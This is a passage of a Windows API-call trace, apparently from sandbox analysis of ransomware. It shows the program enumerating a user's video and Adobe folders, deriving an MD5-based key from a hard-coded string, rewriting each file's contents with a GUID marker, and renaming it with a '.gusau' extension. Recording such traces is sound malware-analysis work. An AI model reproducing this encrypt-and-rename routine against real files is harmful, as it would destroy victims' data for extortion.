0xf30000 [0119.144] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6f12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.144] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.146] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x6f38, lpOverlapped=0x0) returned 1 [0119.146] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.146] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.146] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.146] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0718) returned 1 [0119.147] CryptCreateHash (in: hProv=0xdf0718, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.147] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.147] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.147] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.147] GetLastError () returned 0x0 [0119.147] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.147] CryptReleaseContext (hProv=0xdf0718, dwFlags=0x0) returned 1 [0119.147] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.148] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6f38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.148] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.148] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.148] CloseHandle (hObject=0x610) returned 1 [0119.149] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\PVK83zEhiJoptl7F1vB.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\pvk83zehijoptl7f1vb.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\PVK83zEhiJoptl7F1vB.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\pvk83zehijoptl7f1vb.avi.gusau")) returned 1 [0119.150] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68756770, ftCreationTime.dwHighDateTime=0x1d4cb94, ftLastAccessTime.dwLowDateTime=0xe4515500, ftLastAccessTime.dwHighDateTime=0x1d4c691, ftLastWriteTime.dwLowDateTime=0xe4515500, ftLastWriteTime.dwHighDateTime=0x1d4c691, nFileSizeHigh=0x0, nFileSizeLow=0x9a99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xSTCc.avi", cAlternateFileName="")) returned 1 [0119.150] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\xSTCc.avi") returned=".avi" [0119.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\xSTCc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\xstcc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.151] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=39577) returned 1 [0119.151] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.153] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9a73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.153] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.154] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x9a99, lpOverlapped=0x0) returned 1 [0119.155] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.155] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.155] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.156] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0718) returned 1 [0119.156] CryptCreateHash (in: hProv=0xdf0718, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.156] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.156] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.156] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.156] GetLastError () returned 0x0 [0119.156] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.156] CryptReleaseContext (hProv=0xdf0718, dwFlags=0x0) returned 1 [0119.157] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9a99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.157] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.157] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.157] CloseHandle (hObject=0x610) returned 1 [0119.158] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\xSTCc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\xstcc.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\xSTCc.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\xstcc.avi.gusau")) returned 1 [0119.159] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68756770, ftCreationTime.dwHighDateTime=0x1d4cb94, ftLastAccessTime.dwLowDateTime=0xe4515500, ftLastAccessTime.dwHighDateTime=0x1d4c691, ftLastWriteTime.dwLowDateTime=0xe4515500, ftLastWriteTime.dwHighDateTime=0x1d4c691, nFileSizeHigh=0x0, nFileSizeLow=0x9a99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xSTCc.avi", cAlternateFileName="")) returned 0 [0119.159] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.159] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.160] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.160] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0119.160] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0119.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941478 [0119.160] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.160] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0119.160] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0119.160] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.160] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.160] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.160] PathFindFileNameW (pszPath="") returned="" [0119.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.160] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.162] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.162] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0119.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0119.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.162] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0119.162] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.163] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=42495) returned 1 [0119.163] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.165] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.165] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.167] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.167] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xa5ff, lpOverlapped=0x0) returned 1 [0119.168] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.168] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.168] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.168] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.168] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.168] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.169] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.169] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.169] GetLastError () returned 0x0 [0119.169] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.169] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa600) returned 0x39f9f20 [0119.169] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.169] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xa5fa, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xa5fa, lpOverlapped=0x0) returned 1 [0119.169] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.169] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.169] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.170] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.170] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.170] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.170] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.170] CloseHandle (hObject=0x610) returned 1 [0119.171] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x39301f8 [0119.171] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0119.171] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39301f8 | out: hHeap=0xd10000) returned 1 [0119.171] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.gusau")) returned 1 [0119.172] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.172] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.173] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0119.173] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0119.173] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.173] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0119.173] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.173] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0119.173] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0119.173] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0119.173] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39743a8 [0119.173] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.173] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c) returned 0x3947c20 [0119.173] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974258 [0119.173] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.173] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39743a8 | out: hHeap=0xd10000) returned 1 [0119.173] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0119.173] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.173] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.173] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f38 | out: hHeap=0xd10000) returned 1 [0119.173] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.173] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39743a8 [0119.173] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.173] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.174] 